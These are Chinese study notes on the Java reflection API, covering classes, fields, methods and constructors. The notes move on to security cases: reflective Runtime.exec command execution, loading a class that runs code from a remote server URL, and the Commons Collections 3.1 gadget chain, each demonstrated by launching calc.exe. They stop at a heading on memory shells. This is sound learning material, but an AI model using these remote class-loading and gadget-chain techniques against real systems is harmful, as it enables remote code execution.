4.java反射机制

Pasted image 20250422182315

1. Maven配置

2. 什么是Java反射

参考: https://xz.aliyun.com/t/9117
Java提供了一套反射API,该API由Class类与java.lang.reflect类库组成。该类库包含了Field、Method、Constructor等类。对成员变量,成员方法和构造方法的信息进行的编程操作可以理解为反射机制。
Pasted image 20250417222548

2.1. 为什么要用到反射

参考: https://xz.aliyun.com/t/9117
其实从官方定义中就能找到其存在的价值,在运行时获得程序或程序集中每一个类型的成员和成员的信息,从而动态的创建、修改、调用、获取其属性,而不需要事先知道运行的对象是谁。划重点:在运行时而不是编译时。(不改变原有代码逻辑,自行运行的时候动态创建和编译即可)

2.2. 反射机制应用

开发应用场景:
Spring框架的IOC基于反射创建对象和设置依赖属性。
SpringMVC的请求调用对应方法,也是通过反射。
JDBC的Class#forName(String className)方法,也是使用反射。

2.3. 反射安全应用场景:

构造利用链,触发命令执行
反序列化中的利用链构造
动态获取或执行任意类中的属性或方法
动态代理的底层原理是反射技术
rmi反序列化也涉及到反射操作

3. Java反射-获取类的四种方法

我们先新建一个user.java

//user.java
public class User {  
    public String name;  
    public int age;  
    private String address;  
    protected String gender;  
      
    public void setName(String name){  
        this.name = name;  
    }  
    public void setAge(int age){  
        this.age = age;  
    }  
    public void setAddress(String address){  
        this.address = address;  
    }  
    public void setGender(String gender){  
        this.gender = gender;  
    }  
    public String getName(){  
        return name;  
    }  
    public int getAge(){  
        return age;  
    }  
    public String getAddress(){  
        return address;  
    }  
    public String getGender(){  
        return gender;  
    }  
      
    public User(){  
        super();  
    }  
    public User(String name, int age, String address, String gender){  
        this.name = name;  
        this.age = age;  
        this.address = address;  
        this.gender = gender;  
    }  
    private User(String name, int age, String address){  
        this.name = name;  
        this.age = age;  
        this.address = address;  
    }  
          
}

3.1. 获取类的四种方法

import com.user.User;

public class GetClass {
    public static void main(String[] args) throws ClassNotFoundException {
        //   根据类名:类名.class
        Class userClass = User.class;
        System.out.println(userClass.getName());

//        根据对象:对象.getClass()
        User user = new User();
        Class aClass = user.getClass();
        System.out.println(aClass.getName());

//        根据全限定类名:Class.forName("全路径类名")
        Class aClass1 = Class.forName("com.user.User");
        System.out.println(aClass1.getName());

//        通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名")
        ClassLoader clsload=ClassLoader.getSystemClassLoader();
        Class aClass2 = clsload.loadClass("com.user.User");
        System.out.println(aClass2.getName());
    }

}

Pasted image 20250417230511

3.2. 返回类的方法

Hint

这里都是用的 getName()方法,用于返回类的全限定名 如com.user.User
除了此返回类的方法外还有三种

  1. getSimpleName() - 只返回类名,例如:User
  2. getPackage() - 返回包信息,例如:package com.user
  3. getCanonicalName() - 返回规范名称,对于普通类来说与getName()相同

例子:

//   根据类名:类名.class  
Class userClass = User.class;  
System.out.println("getName(): " + userClass.getName());  
System.out.println("getSimpleName(): " + userClass.getSimpleName());  
System.out.println("getPackage(): " + userClass.getPackage());  
System.out.println("getCanonicalName(): " + userClass.getCanonicalName());  
System.out.println("------------------------");

Pasted image 20250417230246

4. Java-反射-Field成员变量类获取

Pasted image 20250417231837

4.1. 获取成员变量

// 获取Class对象  
Class aClass = Class.forName("com.user.User");

// 获取公共成员变量对象  
Field[] publicFields = aClass.getFields();  
for(Field f : publicFields){  
    System.out.println(f);  
    
// 获取所有成员变量对象   
Field[] allFields = aClass.getDeclaredFields();  
Field[] allFields = aClass.getFields();
for(Field f : allFields){  
    System.out.println(f);  
}  
  
// 获取单个成员变量对象   
    Field ageField = aClass.getDeclaredField("age");  
    System.out.println("age字段:" + ageField);  
}

Pasted image 20250417231933

4.2. 获取变量后再赋值

4.2.1. getField获取公共字段

// 获取公共字段name  
Field fieldName = aClass.getField("name");  // 使用getField获取公共字段  
System.out.println("name字段:" + fieldName);  
// 修改name的值  
fieldName.set(u, "张三");  
Object nameValue = fieldName.get(u);  
System.out.println("name的值:" + nameValue);

4.2.2. getDeclaredField获取私有字段

// 获取私有字段age  
Field fieldAge = aClass.getDeclaredField("age");  
fieldAge.setAccessible(true);  // 设置私有字段可访问  
fieldAge.set(u, 30);  
Object ageValue = fieldAge.get(u);  
System.out.println("age的值:" + ageValue);  

5. Java-反射-Method成员方法类获取

Pasted image 20250417234832

import java.lang.reflect.Method;
import com.user.User;

public class GetMethod {
    public static void main(String[] args) throws Exception {
        // 获取Class对象
        Class aClass = Class.forName("com.user.User");

        // 返回所有公共成员方法对象的数组,包括继承的
        System.out.println("获取所有公共成员方法:");
        Method[] publicMethods = aClass.getMethods();
        for (Method me : publicMethods) {
            System.out.println(me);
        }

        // 返回所有成员方法对象的数组,不包括继承的
        System.out.println("\n获取所有成员方法:");
        Method[] allMethods = aClass.getDeclaredMethods();
        for (Method me : allMethods) {
            System.out.println(me);
        }

        // 返回单个公共成员方法对象
        System.out.println("\n获取单个公共成员方法:");
        try {
            // 获取getName方法(不带参数)
            Method getNameMethod = aClass.getMethod("getName");
            System.out.println("getName方法:" + getNameMethod);

            // 获取setName方法(带参数)多个 string.class
            Method setNameMethod = aClass.getMethod("setName", String.class);
            System.out.println("setName方法:" + setNameMethod);
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }

        // 返回单个成员方法对象
        System.out.println("\n获取单个成员方法:");
        try {
            // 获取toString方法
            Method toStringMethod = aClass.getDeclaredMethod("toString");
            System.out.println("toString方法:" + toStringMethod);
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }

        // 运行方法invoke
        System.out.println("\n运行方法:");
        try {
            // 创建User对象
            User u = new User();
            
            // 获取setName方法
            Method setNameMethod = aClass.getMethod("setName", String.class);
            // 调用setName方法
            setNameMethod.invoke(u, "张三");
            
            // 获取getName方法
            Method getNameMethod = aClass.getMethod("getName");
            // 调用getName方法
            Object name = getNameMethod.invoke(u);
            System.out.println("设置后的name值:" + name);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Pasted image 20250417234842

6. Java-反射-Constructor获取构造方法

Pasted image 20250417234018

import java.lang.reflect.Constructor;  
import com.user.User;  
  
public class GetConstractor {  
    public static void main(String[] args) throws Exception {  
        // 获取Class对象  
        Class aClass = Class.forName("com.user.User");  
          
        // 返回所有公共构造方法对象的数组  
        System.out.println("获取所有公共构造方法:");  
        Constructor[] publicConstructors = aClass.getConstructors();  
        for(Constructor con : publicConstructors){  
            System.out.println(con);  
        }  
  
        // 返回所有构造方法对象的数组  
        System.out.println("\n获取所有构造方法:");  
        Constructor[] allConstructors = aClass.getDeclaredConstructors();  
        for(Constructor con : allConstructors){  
            System.out.println(con);  
        }  
  
        // 返回单个公共构造方法对象  
        System.out.println("\n获取单个公共构造方法:");  
        try {  
            // 获取无参构造方法  
            Constructor con1 = aClass.getConstructor();  
            System.out.println("无参构造方法:" + con1);  
              
            // 获取带参构造方法  
            Constructor con2 = aClass.getConstructor(String.class, int.class);  
            System.out.println("带参构造方法:" + con2);  
        } catch (NoSuchMethodException e) {  
            e.printStackTrace();  
        }  
  
        // 使用构造方法创建对象  
        System.out.println("\n使用构造方法创建对象:");  
        try {  
            // 使用无参构造方法  
            Constructor con3 = aClass.getConstructor();  
            User user1 = (User) con3.newInstance();  
            System.out.println("无参构造创建的对象:" + user1);  
              
            // 使用带参构造方法  
            Constructor con4 = aClass.getConstructor(String.class, int.class);  
            User user2 = (User) con4.newInstance("张三", 25);  
            System.out.println("带参构造创建的对象:" + user2);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

Pasted image 20250417233504

7. Java-反射-不安全命令执行&类加载链构造

7.1. 安全案例-反射实现命令执行

原型方法实现

import java.io.IOException;

public class TestCalc {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");//弹计算器
    }
}

反射方法实现

import java.lang.reflect.Method;  
  
public class GetRuntimeExec {  
    public static void main(String[] args) {  
        try {  
            // 获取Runtime类的Class对象  
            // Class.forName()方法用于加载类,返回与带有给定字符串名的类或接口相关联的 Class 对象  
            Class aClass = Class.forName("java.lang.Runtime");  
  
            // 获取Runtime类的所有公共方法  
            // getMethods()返回一个包含某些 Method 对象的数组,这些对象反映此 Class 对象所表示的类或接口的公共方法  
            Method[] methods = aClass.getMethods();  
//            for (Method me:methods){  
//                System.out.println(me);  
//            }  
  
            // 获取Runtime类的exec方法  
            // getMethod()返回一个 Method 对象,它反映此 Class 对象所表示的类或接口的指定公共成员方法  
            // 第一个参数是方法名,后面的参数是方法的参数类型  
            Method exec = aClass.getMethod("exec", String.class);  
  
            // 获取Runtime类的getRuntime方法  
            // getRuntime()是一个静态方法,用于获取Runtime实例  
            Method getRuntimeMethod = aClass.getMethod("getRuntime");  
  
            // 调用getRuntime方法获取Runtime实例  
            // invoke()方法用于调用底层方法  
            // 因为getRuntime是静态方法,所以第一个参数传null  
            Object runtime = getRuntimeMethod.invoke(null);  
  
//弹计算器  
            exec.invoke(runtime, "calc.exe");  
  
        } catch (Exception e) {  
            // 打印异常堆栈信息  
            e.printStackTrace();  
        }  
    }  
}
精简版
// 获取Runtime类的Class对象
Class aClass = Class.forName("java.lang.Runtime");
// 获取Runtime类的所有公共方法
Method[] methods = aClass.getMethods();
// 获取Runtime类的exec方法,参数类型为String
Method exec = aClass.getMethod("exec", String.class);
// 获取Runtime类的getRuntime静态方法
Method getRuntimeMethod = aClass.getMethod("getRuntime");
// 调用getRuntime静态方法获取Runtime实例(参数null表示静态方法)
Object runtime = getRuntimeMethod.invoke(null);
// 调用exec方法执行命令(打开计算器)
exec.invoke(runtime, "calc.exe");

7.2. 安全案例-不安全的利用链

指应用程序使用具有反射功能的外部输入来选择要使用的类或代码,
可能被攻击者利用而输入或选择不正确的类。绕过身份验证或访问控制检查
参考分析: https://zhuanlan.zhihu.com/p/165273855

import java.io.IOException;  
  
public class TestCalc {  
    public static void main(String[] args) throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }  
    public TestCalc() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }  
}

然后执行 javac .\TestCalc.java 编译成一个class文件 然后将其改名为 TestCalc.class 复制到D盘
Pasted image 20250418002503

7.2.1. 本地加载class文件

import java.io.File;
import java.net.URI;
import java.net.URL;
import java.net.URLClassLoader;

// 本地类加载器,用于加载本地类
public class ClassLoaderLocal {
    public static void main(String[] args) {
        try {
            // 指定本地目录
            File file = new File("d:/");
            URI uri = file.toURI();
            URL url = uri.toURL();

            // 创建类加载器
            URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
            
            // 加载类
            Class clazz = classLoader.loadClass("TestCalc");
            
            // 创建实例
            Object instance = clazz.newInstance();
            System.out.println("类加载成功:" + instance);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

7.2.2. 远程加载class文件

我已经把class文件提前放到了我的VPS上面

import java.io.File;  
import java.net.URI;  
import java.net.URL;  
import java.net.URLClassLoader;  
  
// 远程类加载器,用于加载远程类  
public class ClassLoaderURL {  
    public static void main(String[] args) {  
        try {  
            // 指定远程URL  
            URL remoteUrl = new URL("http://IP/");  
              
            // 创建类加载器  
            URLClassLoader classLoader = new URLClassLoader(new URL[]{remoteUrl});  
              
            // 加载类  
            Class clazz = classLoader.loadClass("TestCalc");  
              
            // 创建实例  
            Object instance = clazz.newInstance();  
            System.out.println("类加载成功:" + instance);  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

Pasted image 20250418004220

7.2.3. CC3 java利用链:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

// 演示Apache Commons Collections 3.1漏洞利用
public class CC3 {
    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

编译CC3.class

javac -encoding UTF-8 -cp .\commons-collections-3.1.jar CC3.java
//commons-collections-3.1.jar 网上可以下载
import java.io.File;  
import java.net.URI;  
import java.net.URL;  
import java.net.URLClassLoader;  
  
// 本地类加载器,用于加载本地类  
public class ClassLoaderLocal {  
    public static void main(String[] args) {  
        try {  
            // 指定本地目录,使用当前目录  
            File file = new File(".");  
            URI uri = file.toURI();  
            URL url = uri.toURL();  
  
            // 创建类加载器,添加commons-collections-3.1.jar  
            URLClassLoader classLoader = new URLClassLoader(  
                new URL[]{  
                    url,  
                    new File("commons-collections-3.1.jar").toURI().toURL()  
                }  
            );  
              
            // 加载类  
            Class clazz = classLoader.loadClass("CC3");  
              
            // 创建实例并调用main方法  
            Object instance = clazz.newInstance();  
            java.lang.reflect.Method mainMethod = clazz.getMethod("main", String[].class);  
            mainMethod.invoke(instance, new Object[]{new String[0]});  
              
            System.out.println("类加载成功并执行完成");  
  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

Pasted image 20250418010707

但是当我们把上面的代码复制到另一个环境(项目)中,会发现无法弹计算器
发现虽然没有报错,但是在新环境中却无法运行
Pasted image 20250418011607

原因是新环境中没有CC3依赖
Pasted image 20250418011704
我们给新环境添加上这个依赖
再运行,成功弹计算器
Pasted image 20250418011802

利用结合: https://xz.aliyun.com/t/7031 (反序列化利用链)

7.3. 3、安全应用案例-内存马技术